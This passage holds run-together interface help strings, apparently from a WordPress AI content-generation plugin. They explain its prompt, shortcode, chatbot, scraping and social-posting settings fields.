line.Set a list of domains (separated by commas), which will be allowed to display the chatbot on their site. To allow all sites to add this chatbot, leave this field blank. Example usage: https://www.example.orgSet a prompt for generating a keyword for importing royalty free images for the created posts. You can also instruct the AI writer to return a comma separated list of keywords. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, containing keywords (one per line), or to an RSS feed. If you use RSS feeds, you can also use the following additional shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The length of this command should not be greater than the max token count set in the settings for the seed command - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You can use something like: I need to find highly relevant royalty-free images for an article heading, please extract a comma-separated list of the most relevant keywords from the heading, prioritizing specific references over general keywords. Add the highest priority to the most specific keyword that is still related to the main topic. By doing so, you can help me find more appropriate and targeted images for the article heading. The blog post heading title is: "%%post_title%%".Set a template to use for auto created embeddingsSet an example response for this form, this can be shown to users.Set an prompt command you want to send to the AI SEO meta description generator. This command can be any given task or order, based on which, it will generate comments for posts. You can use the following shortcodes here: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. You can also use custom user meta fields (user meta) which is assigned to usersm using custom shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). The default value is: Write a SEO meta description for the post title: %%post_title%%Set an prompt command you want to send to the AI category generator. This command can be any given task or order, based on which, it will generate categories for posts. You can use the following shortcodes here: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. You can also use custom user meta fields (user meta) which is assigned to usersm using custom shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins).Set an prompt command you want to send to the AI comment generator. This command can be any given task or order, based on which, it will generate comments for posts. You can use the following shortcodes here: %%previous_comments%%, %%post_title%%, %%comment_author_name%%, %%comment_author_email%%, %%comment_author_url%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. You can also use custom user meta fields (user meta) which is assigned to usersm using custom shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins).Set an prompt command you want to send to the AI content image editor. This command can be any given task or order, based on which, it will edit the featured image of the post. You can use the following shortcodes here: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. You can also use custom user meta fields (user meta) which is assigned to usersm using custom shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). If you use Royalty Free Images as a source, you can also set their keywords here, if no keywords set, they will be automatically generated.Set an prompt command you want to send to the AI image editor. This command can be any given task or order, based on which, it will edit the featured image of the post. You can use the following shortcodes here: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. You can also use custom user meta fields (user meta) which is assigned to usersm using custom shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). If you use Royalty Free Images as a source, you can also set their keywords here, if no keywords set, they will be automatically generated.Set an prompt command you want to send to the AI image generator. This command can be any given task or order, based on which, it will generate content for posts. You can use the following shortcodes here: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. You can also use custom user meta fields (user meta) which is assigned to usersm using custom shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). If you use Royalty Free Images as a source, you can also set their keywords here, if no keywords set, they will be automatically generated.Set an prompt command you want to send to the AI tag generator. This command can be any given task or order, based on which, it will generate tags for posts. You can use the following shortcodes here: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. You can also use custom user meta fields (user meta) which is assigned to usersm using custom shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins).Set an prompt command you want to send to the AI text generator. This command can be any given task or order, based on which, it will generate content for posts. You can use the following shortcodes here: %%post_title%%, %%post_content%%, %%first_content_paragraph_plain_text%%, %%last_content_paragraph_plain_text%%, %%first_content_paragraph%%, %%last_content_paragraph%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. You can also use custom user meta fields (user meta) which is assigned to usersm using custom shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins).Set any headers to send with the webhook request. Enter the headers in this structure: key => value (add new key/value combinations on a new line). Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.Set content headers (optional)Set if this OmniBlock is critical or not. When a Critical OmniBlock fails to generate its content correctly and it fails, it will cause the entire OmniBlock running sequence to stop. Non-critical OmniBlocks when they fail, the execution of blocks will continue, the result of the failed OmniBlock will be blank.Set if you want to attach links to created LinkedIn posts.Set if you want to copy meta description from post excerpt, instead of creating it. Note that this will disable the AI generator of the SEO meta.Set if you want to enable Content Wizard also for not logged in users.Set if you want to limit the AI generated meta description length.Set list of prompt commands (one on each line) you want to send to AI category generator. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, containing keywords (one per line), or to an RSS feed. If you use RSS feeds, you can also use the following additional shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Set list of prompt commands (one on each line) you want to send to AI category generator. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, containing keywords (one per line), or to an RSS feed. If you use RSS feeds, you can also use the following additional shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Set list of prompt commands (one on each line) you want to send to AI for generating post categories. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, containing keywords (one per line), or to an RSS feed. If you use RSS feeds, you can also use the following additional shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Set list of prompt commands (one on each line) you want to send to AI for generating post categories. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, containing keywords (one per line), or to an RSS feed. If you use RSS feeds, you can also use the following additional shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Set list of prompt commands (one on each line) you want to send to AI for generating post tags. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, containing keywords (one per line), or to an RSS feed. If you use RSS feeds, you can also use the following additional shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Set list of prompt commands (one on each line) you want to send to AI for generating post tags. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, containing keywords (one per line), or to an RSS feed. If you use RSS feeds, you can also use the following additional shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Set list of prompt commands (one on each line) you want to send to AI for generating post titles. This command can be any given task or order, based on which, it will generate content for posts. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, containing keywords (one per line), or to an RSS feed. If you use RSS feeds, you can also use the following additional shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Set list of prompt commands (one on each line) you want to send to AI tag generator. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, containing keywords (one per line), or to an RSS feed. If you use RSS feeds, you can also use the following additional shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Set list of prompt commands (one on each line) you want to send to AI tag generator. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, containing keywords (one per line), or to an RSS feed. If you use RSS feeds, you can also use the following additional shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Set list of prompt commands (one on each line) you want to send to AI title text generator. This command can be any given task or order, based on which, it will generate content for posts. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, containing keywords (one per line), or to an RSS feed. If you use RSS feeds, you can also use the following additional shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Set list of prompt commands (one on each line) you want to send to AI. This command can be any given task or order, based on which, it will generate content for posts. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, containing keywords (one per line), or to an RSS feed. If you use RSS feeds, you can also use the following additional shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run.Set list of prompt commands (one on each line) you want to send to OpenAI/AiomaticAPI. This command can be any given task or order, based on which, it will generate content for posts. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, containing keywords (one per line), or to an RSS feed. If you use RSS feeds, you can also use the following additional shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Set list of prompt commands (one on each line) you want to send to the AI image generator. This command can be any given task or order, based on which, it will generate images. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. The length of this command should not be greater than 1000 characters, otherwise the plugin will strip it to 1000 characters length. - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. If you use Royalty Free Images as a source, you can also set their keywords here, if no keywords set, they will be automatically generated. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Set list of prompt commands (one on each line) you want to send to the AI image generator. This command can be any given task or order, based on which, it will generate images. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. The length of this command should not be greater than 1000 characters, otherwise the plugin will strip it to 1000 characters length. - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Set list of prompt commands (one on each line) you want to send to the AI image generator. This command can be any given task or order, based on which, it will generate images. You can use the following shortcodes here: %%topic%%, %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. The length of this command should not be greater than 1000 characters, otherwise the plugin will strip it to 1000 characters length. - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. If you use Royalty Free Images as a source, you can also set their keywords here, if no keywords set, they will be automatically generated. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Set list of prompt commands (one on each line) you want to send to the AI image generator. This command can be any given task or order, based on which, it will generate images. You can use the following shortcodes here: %%topic%%, %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. The length of this command should not be greater than 1000 characters, otherwise the plugin will strip it to 1000 characters length. - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Set the AI frequency penalty parameter of this form.Set the AI maximum token count of this form.Set the AI model of this assistant.Set the AI model to be used for the image generator.Set the AI presence penalty parameter of this form.Set the AI prompt which will be sent to the content writerSet the AI prompt which will be sent to the content writer, to process each result. Additional shortcodes you can use: %%current_item%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported. If you don't add the %%current_item%% to the prompt, it will be automatically appended to the end of it.Set the AI prompt which will be sent to the content writer. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.Set the AI prompt which will be sent to the content writer. Additional shortcodes you can use: %%current_input_line%%, %%current_input_line_counter%%, %%all_input_lines%%, %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.Set the AI prompt which will be sent to the image generatorSet the AI prompt which will be sent to the image generator. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.Set the AI temperature of this form.Set the AI top_p parameter of this form.Set the ID of the parent of created postsSet the ID of the parent of created posts. This is useful for BBPress integration, to assign forum IDs for created topics or for other similar functionalities.Set the Reddit post type.Set the URL of the Pinterest pinSet the URL of the Pinterest pin. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.Set the URL of the RSS feed to be scraped for dataSet the URL of the RSS feed to be scraped for data. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.Set the URL of the YouTube video from which captions will be importedSet the URL of the YouTube video from which captions will be imported.Set the URL to be scraped for dataSet the URL to be scraped for data. You can also add multiple URLs (one on each line), from which a random one will be selected. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.Set the YouTube Community post type.Set the assistant ID to be used for the AI content creation.Set the avatar image of the AI. This will be shown in the chatbot interface.Set the avatar of the chatbot assistant.Set the avatar of the chatbot persona.Set the banned words list that will apply to all plugin rules.Set the caption of the Facebook imageSet the caption of the Facebook image. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.Set the category of the OmniBlock template to save. You can add multiple categories, separated by ;Set the compliance text which will be shown at the bottom of the chatbot (default is empty)Set the compliance text which will be shown at the bottom of the chatbot (default is empty).Set the content of the email to be sentSet the content of the email to be sent. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.Set the content of the post to be createdSet the content of the post to be created. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.Set the custom fields that will be set for generated posts. The syntax for this field is the following: custom_field_name1 => custom_field_value1, custom_field_name2 => custom_field_value2Set the custom fields that will be set for generated posts. The syntax for this field is the following: custom_field_name1 => custom_field_value1, custom_field_name2 => custom_field_value2, ... . You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You can also use the following topic based shortcodes: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%Set the custom fields that will be set for generated posts. The syntax for this field is the following: custom_field_name1 => custom_field_value1, custom_field_name2 => custom_field_value2, ... . You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You can also use the following topic based shortcodes: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%Set the custom taxonomies that will be set for generated posts. The syntax for this field is the following: custom_taxonomy_name1 => custom_taxonomy_value1A, custom_taxonomy_value1B; custom_taxonomy_name2 => custom_taxonomy_value2A, custom_taxonomy_value2B . You can also set hierarhical taxonomies (parent > child), in this format: custom_taxonomy_name => parent1 > child1 . Set the custom taxonomies that will be set for generated posts. The syntax for this field is the following: custom_taxonomy_name1 => custom_taxonomy_value1A, custom_taxonomy_value1B; custom_taxonomy_name2 => custom_taxonomy_value2A, custom_taxonomy_value2B; ... . You can also set hierarhical taxonomies (parent > child), in this format: custom_taxonomy_name => parent1 > child1 . You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You can also use the following topic based shortcodes: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%Set the custom taxonomies that will be set for generated posts. The syntax for this field is the following: custom_taxonomy_name1 => custom_taxonomy_value1A, custom_taxonomy_value1B; custom_taxonomy_name2 => custom_taxonomy_value2A, custom_taxonomy_value2B; ... . You can also set hierarhical taxonomies (parent > child), in this format: custom_taxonomy_name => parent1 > child1 . You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You can also use the following topic based shortcodes: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%Set the daily token count for logged in users. Users who are not logged in will not be allowed to submit the form. To disable this feature, leave this field blank.Set the days of the week, when you want to always show the chatbot (regardless of the above hour limitations).Set the days of the week, when you want to never show the chatbot.Set the default height of the talking avatar. The default value for this is 300px.Set the default width of the talking avatar. The default value for this is 300px.Set the description of the Pinterest pinSet the description of the Pinterest pin. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.Set the description of this assistant.Set the description of this form.Set the email address to which to send the emailSet the email address to which to send the email. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.Set the excerpt of the postSet the excerpt of the post to be created. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.Set the featured image of the post to be createdSet the featured image of the post to be created. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported. You can also use the numeric IDs of Media Library attachments.Set the field type for this input field.Set the file type of the saved file.Set the first message of this assistant.Set the first message of this assistant. This feature is currently not supported by OpenAI for Assistants API.Set the first message of this persona.Set the function or an array of functions, which the assistant will be able to call You need to respect the required function format, for this to work.Set the header text of the Customer Reviews Analysis section header. Default is: Customer Reviews AnalysisSet the header text of the Pros & Cons section header. Default is: Pros & ConsSet the header text of the Q&A section header. Default is: Q&ASet the header text of the outro section header. This is optional.Set the hour period of each day, when you want to show the chatbot embedded on your site. Your current server time is: Set the image model of the AI assistant generated images.Set the image size of the AI assistant generated images.Set the image size to be used for the image generator.Set the input field ID. This is important, as you will be able to get the value entered by users on the front end for this input field, using this ID. You will be able to use this in the 'Prompt' settings field from below, in the following format: %%ID_YOU_ENTER_HERE%%.Set the input field Label (textual hint).Set the keyword based on which YouTube videos will be searchedSet the keyword based on which YouTube videos will be searched. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.Set the keyword based on which royalty free images will be searchedSet the keyword based on which royalty free images will be searched. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.Set the keyword for which SERP data is queriedSet the keyword for which SERP data is queried. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.Set the language of the created content. This will set the value of the %%language%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Set the link of the post imageSet the link of the Facebook image postSet the link of the Facebook image post. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.Set the link of the Facebook postSet the link of the Facebook post. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.Set the link of the Google My Business post imageSet the link of the Google My Business post image. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, 